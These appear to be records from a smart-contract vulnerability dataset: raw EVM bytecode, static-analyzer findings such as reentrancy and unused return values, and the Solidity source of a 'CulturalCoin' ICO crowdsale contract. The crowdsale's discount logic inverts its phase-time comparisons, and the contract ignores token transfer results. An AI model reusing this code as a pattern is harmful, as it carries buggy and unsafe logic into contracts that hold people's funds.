73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f47cee97cb7acd717b3c0aa1435d004cd5b3c8c57d70dbceb4e4458bbd60e39d4611188612908565b82604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150565b60006111de612908565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461129f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b606082101580156112b1575060648211155b611323576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f726577617264206665652073686f756c6420626520696e203936207e2031303081525060200191505060405180910390fd5b81600b81905550611340600b54606461291090919063ffffffff16565b600c8190555060019050919050565b6000600854905090565b6000600b54905090565b600061136d612908565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461142e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60018210156114a5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f72657761726420706f7274696f6e2073686f756c642062652061626f7665203181525060200191505060405180910390fd5b81600a8190555060019050919050565b60006114bf612908565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611580576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611606576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180612ce06031913960400191505060405180910390fd5b81600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000429050600061166c600e548361291090919063ffffffff16565b90506009548110611b5857600061168e6009548361295a90919063ffffffff16565b905060006116b96116aa836009546129a490919063ffffffff16565b8461291090919063ffffffff16565b90506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f05fae686040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561172757600080fd5b505af115801561173b573d6000803e3d6000fd5b505050506040513d602081101561175157600080fd5b8101908080519060200190929190505050905060008090505b83811015611b3a576000611789600a548461295a90919063ffffffff16565b90506000811115611b175760006117be60646117b0600b54856129a490919063ffffffff16565b61295a90919063ffffffff16565b905060006117d5828461291090919063ffffffff16565b905060008090505b600680549050811015611a0257600073ffffffffffffffffffffffffffffffffffffffff166006828154811061180f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119f55761197a6118f56007546118e786600360006006888154811061187357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129a490919063ffffffff16565b61295a90919063ffffffff16565b600460006006858154811061190657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a2a90919063ffffffff16565b600460006006848154811061198b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b80806001019150506117dd565b506000811115611b1457600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ce8ae9f3600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611ad757600080fd5b505af1158015611aeb573d6000803e3d6000fd5b505050506040513d6020811015611b0157600080fd5b8101908080519060200190929190505050505b50505b611b2a818461291090919063ffffffff16565b925050808060010191505061176a565b50611b4e828661291090919063ffffffff16565b600e819055505050505b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600854811015611c27576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f546f6f20736d616c6c20616d6f756e740000000000000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd611c6d612908565b30846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611d0b57600080fd5b505af1158015611d1f573d6000803e3d6000fd5b505050506040513d6020811015611d3557600080fd5b8101908080519060200190929190505050611db8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f5374616b65206661696c6564000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000611de26064611dd4600c54856129a490919063ffffffff16565b61295a90919063ffffffff16565b90506000611df9828461291090919063ffffffff16565b905060006006805490501415611e115742600e819055505b600060036000611e1f612908565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ecb576006611e6a612908565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b611f248160036000611edb612908565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a2a90919063ffffffff16565b60036000611f30612908565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f8381600754612a2a90919063ffffffff16565b6007819055507f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d611fb2612908565b82604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b6000600954905090565b600060046000612018612908565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081111561227a57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ce8ae9f36120a4612908565b836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561210e57600080fd5b505af1158015612122573d6000803e3d6000fd5b505050506040513d602081101561213857600080fd5b81019080805190602001909291905050506121bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f436c61696d206661696c65642e0000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600460006121c9612908565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f47cee97cb7acd717b3c0aa1435d004cd5b3c8c57d70dbceb4e4458bbd60e39d4612230612908565b82604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b600060036000612288612908565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081111561267257600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb612314612908565b836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561237e57600080fd5b505af1158015612392573d6000803e3d6000fd5b505050506040513d60208110156123a857600080fd5b810190808051906020019092919050505061242b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f556e7374616b65206661696c656400000000000000000000000000000000000081525060200191505060405180910390fd5b600060036000612439612908565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061248c8160075461291090919063ffffffff16565b60078190555060008090505b6006805490508110156125fe576124ad612908565b73ffffffffffffffffffffffffffffffffffffffff16600682815481106124d057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156125f15760066001600680549050038154811061252c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006828154811061256457fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060068054806125b757fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590556125fe565b8080600101915050612498565b507f0f5bb82176feb1b5e747e28471aa92156a04d9f3ab9f45f28e2d704232b93f75612628612908565b82604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b5050565b6000612680612908565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612741576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156127aa57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b61281c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f53686f756c642062652076616c696420616464726573732e000000000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fa09e630836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156128bd57600080fd5b505af11580156128d1573d6000803e3d6000fd5b505050506040513d60208110156128e757600080fd5b810190808051906020019092919050505050919050565b6000600754905090565b600033905090565b600061295283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612ab2565b905092915050565b600061299c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b72565b905092915050565b6000808314156129b75760009050612a24565b60008284029050828482816129c857fe5b0414612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612cbf6021913960400191505060405180910390fd5b809150505b92915050565b600080828401905083811015612aa8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000838311158290612b5f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b24578082015181840152602081019050612b09565b50505050905090810190601f168015612b515780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290612c1e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612be3578082015181840152602081019050612bc8565b50505050905090810190601f168015612c105780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612c2a57fe5b04905080915050939250505056fe556e7374616b6520616d6f756e742065786365656465647320746865207374616b656420616d6f756e742e72657761726420706572696f642073686f756c642062652061626f7665206d696e2072657761726420706572696f642e436c61696d20616d6f756e7420657863656564656473207468652070656e646e696720726577617264732e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7773746f72652077616c6c657420636f6e74726163742073686f756c64206e6f74206265207a65726f20616464726573732ea2646970667358221220738448bbe4707a2271b550b4a8ebe3865a7e2b884378b49b3e455b8ead1ed7d764736f6c63430006060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 10,192 |
0xfa5ad421ffbc3a0db61b463d393946c783edd7f8 | pragma solidity ^0.4.21;
/// @title Ownable contract
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/// @title Ownable contract
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/// @dev Change ownership
/// @param newOwner Address of the new owner
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/// @title RateSetter contract
contract RateSetter {
address public rateSetter;
event RateSetterChanged(address indexed previousRateSetter, address indexed newRateSetter);
function RateSetter() public {
rateSetter = msg.sender;
}
modifier onlyRateSetter() {
require(msg.sender == rateSetter);
_;
}
function changeRateSetter(address newRateSetter) onlyRateSetter public {
require(newRateSetter != address(0));
emit RateSetterChanged(rateSetter, newRateSetter);
rateSetter = newRateSetter;
}
}
/// @title ERC20 contract
/// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public returns (bool);
function approve(address spender, uint value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint value);
}
/// @title CCWhitelist contract
contract CCWhitelist {
function isWhitelisted(address addr) public constant returns (bool);
}
/// @title Crowdsale contract
contract Crowdsale is Ownable, RateSetter {
using SafeMath for uint256;
/// Token reference
ERC20 public token;
/// Whitelist reference
CCWhitelist public whitelist;
/// Presale start time (inclusive)
uint256 public startTimeIco;
/// ICO end time (inclusive)
uint256 public endTimeIco;
/// Address where the funds will be collected
address public wallet;
/// EUR per 1 ETH rate
uint32 public ethEurRate;
/// ETH per 1 BTC rate (multiplied by 100)
uint32 public btcEthRate;
/// Amount of tokens sold in presale
uint256 public tokensSoldPre;
/// Amount of tokens sold in ICO
uint256 public tokensSoldIco;
/// Amount of raised ethers expressed in weis
uint256 public weiRaised;
/// Amount of raised EUR
uint256 public eurRaised;
/// Number of contributions
uint256 public contributions;
/// ICO time phases
uint256 public icoPhase1Start;
uint256 public icoPhase1End;
uint256 public icoPhase2Start;
uint256 public icoPhase2End;
uint256 public icoPhase3Start;
uint256 public icoPhase3End;
uint256 public icoPhase4Start;
uint256 public icoPhase4End;
/// Discount percentages in each phase
uint8 public icoPhaseDiscountPercentage1;
uint8 public icoPhaseDiscountPercentage2;
uint8 public icoPhaseDiscountPercentage3;
uint8 public icoPhaseDiscountPercentage4;
/// Hard cap in EUR
uint32 public HARD_CAP_EUR = 19170000; // 19 170 000 EUR
/// Soft cap in EUR
uint32 public SOFT_CAP_EUR = 2000000; // 2 000 000 EUR
/// Hard cap in tokens
uint256 public HARD_CAP_IN_TOKENS = 810 * 10**24; //810m CC tokens
/// Mapping for contributors - to limit max contribution and possibly to extract info for refund if soft cap is not reached
mapping (address => uint) public contributors;
function Crowdsale(uint256 _startTimeIco, uint256 _endTimeIco, uint32 _ethEurRate, uint32 _btcEthRate, address _wallet, address _tokenAddress, address _whitelistAddress, uint256 _tokensSoldPre, uint256 _contributions, uint256 _weiRaised, uint256 _eurRaised, uint256 _tokensSoldIco) public {
require(_endTimeIco >= _startTimeIco);
require(_ethEurRate > 0 && _btcEthRate > 0);
require(_wallet != address(0));
require(_tokenAddress != address(0));
require(_whitelistAddress != address(0));
require(_tokensSoldPre > 0);
startTimeIco = _startTimeIco;
endTimeIco = _endTimeIco;
ethEurRate = _ethEurRate;
btcEthRate = _btcEthRate;
wallet = _wallet;
token = ERC20(_tokenAddress);
whitelist = CCWhitelist(_whitelistAddress);
tokensSoldPre = _tokensSoldPre;
contributions = _contributions;
weiRaised = _weiRaised;
eurRaised = _eurRaised;
tokensSoldIco = _tokensSoldIco;
// set time phases
icoPhase1Start = 1520208000;
icoPhase1End = 1520812799;
icoPhase2Start = 1520812800;
icoPhase2End = 1526255999;
icoPhase3Start = 1526256000;
icoPhase3End = 1527465599;
icoPhase4Start = 1527465600;
icoPhase4End = 1528113600;
icoPhaseDiscountPercentage1 = 40; // 40% discount
icoPhaseDiscountPercentage2 = 30; // 30% discount
icoPhaseDiscountPercentage3 = 20; // 20% discount
icoPhaseDiscountPercentage4 = 0; // 0% discount
}
/// @dev Sets the rates in crowdsale
/// @param _ethEurRate ETH to EUR rate
/// @param _btcEthRate BTC to ETH rate
function setRates(uint32 _ethEurRate, uint32 _btcEthRate) public onlyRateSetter {
require(_ethEurRate > 0 && _btcEthRate > 0);
ethEurRate = _ethEurRate;
btcEthRate = _btcEthRate;
emit RatesChanged(rateSetter, ethEurRate, btcEthRate);
}
/// @dev Sets the ICO start and end time
/// @param _start Start time
/// @param _end End time
function setICOtime(uint256 _start, uint256 _end) external onlyOwner {
require(_start < _end);
startTimeIco = _start;
endTimeIco = _end;
emit ChangeIcoPhase(0, _start, _end);
}
/// @dev Sets the ICO phase 1 duration
/// @param _start Start time
/// @param _end End time
function setIcoPhase1(uint256 _start, uint256 _end) external onlyOwner {
require(_start < _end);
icoPhase1Start = _start;
icoPhase1End = _end;
emit ChangeIcoPhase(1, _start, _end);
}
/// @dev Sets the ICO phase 2 duration
/// @param _start Start time
/// @param _end End time
function setIcoPhase2(uint256 _start, uint256 _end) external onlyOwner {
require(_start < _end);
icoPhase2Start = _start;
icoPhase2End = _end;
emit ChangeIcoPhase(2, _start, _end);
}
/// @dev Sets the ICO phase 3 duration
/// @param _start Start time
/// @param _end End time
function setIcoPhase3(uint256 _start, uint256 _end) external onlyOwner {
require(_start < _end);
icoPhase3Start = _start;
icoPhase3End = _end;
emit ChangeIcoPhase(3, _start, _end);
}
/// @dev Sets the ICO phase 4 duration
/// @param _start Start time
/// @param _end End time
function setIcoPhase4(uint256 _start, uint256 _end) external onlyOwner {
require(_start < _end);
icoPhase4Start = _start;
icoPhase4End = _end;
emit ChangeIcoPhase(4, _start, _end);
}
function setIcoDiscountPercentages(uint8 _icoPhaseDiscountPercentage1, uint8 _icoPhaseDiscountPercentage2, uint8 _icoPhaseDiscountPercentage3, uint8 _icoPhaseDiscountPercentage4) external onlyOwner {
icoPhaseDiscountPercentage1 = _icoPhaseDiscountPercentage1;
icoPhaseDiscountPercentage2 = _icoPhaseDiscountPercentage2;
icoPhaseDiscountPercentage3 = _icoPhaseDiscountPercentage3;
icoPhaseDiscountPercentage4 = _icoPhaseDiscountPercentage4;
emit DiscountPercentagesChanged(_icoPhaseDiscountPercentage1, _icoPhaseDiscountPercentage2, _icoPhaseDiscountPercentage3, _icoPhaseDiscountPercentage4);
}
/// @dev Fallback function for crowdsale contribution
function () public payable {
buyTokens(msg.sender);
}
/// @dev Buy tokens function
/// @param beneficiary Address which will receive the tokens
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(whitelist.isWhitelisted(beneficiary));
uint256 weiAmount = msg.value;
require(weiAmount > 0);
require(contributors[beneficiary].add(weiAmount) <= 200 ether);
uint256 tokenAmount = 0;
if (isIco()) {
uint8 discountPercentage = getIcoDiscountPercentage();
tokenAmount = getTokenAmount(weiAmount, discountPercentage);
/// Minimum contribution 1 token during ICO
require(tokenAmount >= 10**18);
uint256 newTokensSoldIco = tokensSoldIco.add(tokenAmount);
require(newTokensSoldIco <= HARD_CAP_IN_TOKENS);
tokensSoldIco = newTokensSoldIco;
} else {
/// Stop execution and return remaining gas
require(false);
}
executeTransaction(beneficiary, weiAmount, tokenAmount);
}
/// @dev Internal function used for calculating ICO discount percentage depending on phases
function getIcoDiscountPercentage() internal constant returns (uint8) {
if (icoPhase1Start >= now && now < icoPhase1End) {
return icoPhaseDiscountPercentage1;
}
else if (icoPhase2Start >= now && now < icoPhase2End) {
return icoPhaseDiscountPercentage2;
} else if (icoPhase3Start >= now && now < icoPhase3End) {
return icoPhaseDiscountPercentage3;
} else {
return icoPhaseDiscountPercentage4;
}
}
/// @dev Internal function used to calculate amount of tokens based on discount percentage
function getTokenAmount(uint256 weiAmount, uint8 discountPercentage) internal constant returns (uint256) {
/// Less than 100 to avoid division with zero
require(discountPercentage >= 0 && discountPercentage < 100);
uint256 baseTokenAmount = weiAmount.mul(ethEurRate);
uint256 denominator = 3 * (100 - discountPercentage);
uint256 tokenAmount = baseTokenAmount.mul(10000).div(denominator);
return tokenAmount;
}
/// point out that it works for the last block
/// @dev This method is used to get the current amount user can receive for 1ETH -- Used by frontend for easier calculation
/// @return Amount of CC tokens
function getCurrentTokenAmountForOneEth() public constant returns (uint256) {
if (isIco()) {
uint8 discountPercentage = getIcoDiscountPercentage();
return getTokenAmount(1 ether, discountPercentage);
}
return 0;
}
/// @dev This method is used to get the current amount user can receive for 1BTC -- Used by frontend for easier calculation
/// @return Amount of CC tokens
function getCurrentTokenAmountForOneBtc() public constant returns (uint256) {
uint256 amountForOneEth = getCurrentTokenAmountForOneEth();
return amountForOneEth.mul(btcEthRate).div(100);
}
/// @dev Internal function for execution of crowdsale transaction and proper logging used by payable functions
function executeTransaction(address beneficiary, uint256 weiAmount, uint256 tokenAmount) internal {
weiRaised = weiRaised.add(weiAmount);
uint256 eurAmount = weiAmount.mul(ethEurRate).div(10**18);
eurRaised = eurRaised.add(eurAmount);
token.transfer(beneficiary, tokenAmount);
emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokenAmount);
contributions = contributions.add(1);
contributors[beneficiary] = contributors[beneficiary].add(weiAmount);
wallet.transfer(weiAmount);
}
/// @dev Check if ICO is active
function isIco() public constant returns (bool) {
return now >= startTimeIco && now <= endTimeIco;
}
/// @dev Check if ICO has ended
function hasIcoEnded() public constant returns (bool) {
return now > endTimeIco;
}
/// @dev Amount of tokens that have been sold during both presale and ICO phase
function cummulativeTokensSold() public constant returns (uint256) {
return tokensSoldPre + tokensSoldIco;
}
/// @dev Function to extract mistakenly sent ERC20 tokens sent to Crowdsale contract and to extract unsold CC tokens
/// @param _token Address of token we want to extract
function claimTokens(address _token) public onlyOwner {
if (_token == address(0)) {
owner.transfer(this.balance);
return;
}
ERC20 erc20Token = ERC20(_token);
uint balance = erc20Token.balanceOf(this);
erc20Token.transfer(owner, balance);
emit ClaimedTokens(_token, owner, balance);
}
/// Events
event TokenPurchase(address indexed _purchaser, address indexed _beneficiary, uint256 _value, uint256 _amount);
event ClaimedTokens(address indexed _token, address indexed _owner, uint _amount);
event IcoPhaseAmountsChanged(uint256 _icoPhaseAmount1, uint256 _icoPhaseAmount2, uint256 _icoPhaseAmount3, uint256 _icoPhaseAmount4);
event RatesChanged(address indexed _rateSetter, uint32 _ethEurRate, uint32 _btcEthRate);
event DiscountPercentagesChanged(uint8 _icoPhaseDiscountPercentage1, uint8 _icoPhaseDiscountPercentage2, uint8 _icoPhaseDiscountPercentage3, uint8 _icoPhaseDiscountPercentage4);
/// 0 is for changing start and end time of ICO
event ChangeIcoPhase(uint8 _phase, uint256 _start, uint256 _end);
}
/// @title CulturalCoinCrowdsale contract
contract CulturalCoinCrowdsale is Crowdsale {
function CulturalCoinCrowdsale(uint256 _startTimeIco, uint256 _endTimeIco, uint32 _ethEurRate, uint32 _btcEthRate, address _wallet, address _tokenAddress, address _whitelistAddress, uint256 _tokensSoldPre, uint256 _contributions, uint256 _weiRaised, uint256 _eurRaised, uint256 _tokensSoldIco)
Crowdsale(_startTimeIco, _endTimeIco, _ethEurRate, _btcEthRate, _wallet, _tokenAddress, _whitelistAddress, _tokensSoldPre, _contributions, _weiRaised, _eurRaised, _tokensSoldIco) public {
}
} | 0x606060405260043610610230576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301db61e01461023b578063029eabcb1461027057806304f182f41461029957806315527006146102c25780631ca3d4b7146102f15780631f6d49421461031a5780632ac110c51461036757806330fee9b1146103905780633a3650cf146103bc5780633b6ea083146103e55780634042b66f1461040e578063426b71131461043757806342d02b3014610460578063455770a41461048957806345cc50ce146104b5578063521eb273146104de5780635568fd5d146105335780636251aee61461055c578063673756d8146105855780636e0da971146105ba578063713be126146105e357806372f79b561461061c5780637528a6ab146106515780637b851f651461067a578063808c1499146106a75780638da5cb5b146106d3578063913188741461072857806393e59dc114610760578063c00e4306146107b5578063c3d59369146107de578063c601b7f814610828578063ce13929614610851578063cff1279714610880578063d0d89ce3146108ac578063d8e476ab146108d5578063da9bf54c14610904578063df8de3e714610933578063e5d8011f1461096c578063e5e7b82b14610995578063ec8ac4d8146109ca578063f265d351146109f8578063f274a82814610a4d578063f2fde38b14610a76578063fc0c546a14610aaf578063fec0cc1914610b04578063ff3a5eea14610b30575b61023933610b5d565b005b341561024657600080fd5b61024e610d8a565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b341561027b57600080fd5b610283610da0565b6040518082815260200191505060405180910390f35b34156102a457600080fd5b6102ac610da6565b6040518082815260200191505060405180910390f35b34156102cd57600080fd5b6102d5610dac565b604051808260ff1660ff16815260200191505060405180910390f35b34156102fc57600080fd5b610304610dbf565b6040518082815260200191505060405180910390f35b341561032557600080fd5b610351600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dc5565b6040518082815260200191505060405180910390f35b341561037257600080fd5b61037a610ddd565b6040518082815260200191505060405180910390f35b341561039b57600080fd5b6103ba6004808035906020019091908035906020019091905050610de3565b005b34156103c757600080fd5b6103cf610ea9565b6040518082815260200191505060405180910390f35b34156103f057600080fd5b6103f8610eaf565b6040518082815260200191505060405180910390f35b341561041957600080fd5b610421610eb5565b6040518082815260200191505060405180910390f35b341561044257600080fd5b61044a610ebb565b6040518082815260200191505060405180910390f35b341561046b57600080fd5b610473610ec1565b6040518082815260200191505060405180910390f35b341561049457600080fd5b6104b36004808035906020019091908035906020019091905050610ec7565b005b34156104c057600080fd5b6104c8610f8d565b6040518082815260200191505060405180910390f35b34156104e957600080fd5b6104f1610f93565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561053e57600080fd5b610546610fb9565b6040518082815260200191505060405180910390f35b341561056757600080fd5b61056f610fbf565b6040518082815260200191505060405180910390f35b341561059057600080fd5b610598610fc5565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b34156105c557600080fd5b6105cd610fdb565b6040518082815260200191505060405180910390f35b34156105ee57600080fd5b61061a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fe1565b005b341561062757600080fd5b61062f611139565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b341561065c57600080fd5b61066461114f565b6040518082815260200191505060405180910390f35b341561068557600080fd5b61068d611155565b604051808215151515815260200191505060405180910390f35b34156106b257600080fd5b6106d16004808035906020019091908035906020019091905050611161565b005b34156106de57600080fd5b6106e6611227565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561073357600080fd5b61075e600480803563ffffffff1690602001909190803563ffffffff1690602001909190505061124c565b005b341561076b57600080fd5b6107736113c9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107c057600080fd5b6107c86113ef565b6040518082815260200191505060405180910390f35b34156107e957600080fd5b610826600480803560ff1690602001909190803560ff1690602001909190803560ff1690602001909190803560ff1690602001909190505061142b565b005b341561083357600080fd5b61083b61155f565b6040518082815260200191505060405180910390f35b341561085c57600080fd5b610864611565565b604051808260ff1660ff16815260200191505060405180910390f35b341561088b57600080fd5b6108aa6004808035906020019091908035906020019091905050611578565b005b34156108b757600080fd5b6108bf61163e565b6040518082815260200191505060405180910390f35b34156108e057600080fd5b6108e861164c565b604051808260ff1660ff16815260200191505060405180910390f35b341561090f57600080fd5b61091761165f565b604051808260ff1660ff16815260200191505060405180910390f35b341561093e57600080fd5b61096a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611672565b005b341561097757600080fd5b61097f61199f565b6040518082815260200191505060405180910390f35b34156109a057600080fd5b6109a86119f0565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b6109f6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b5d565b005b3415610a0357600080fd5b610a0b611a06565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610a5857600080fd5b610a60611a2c565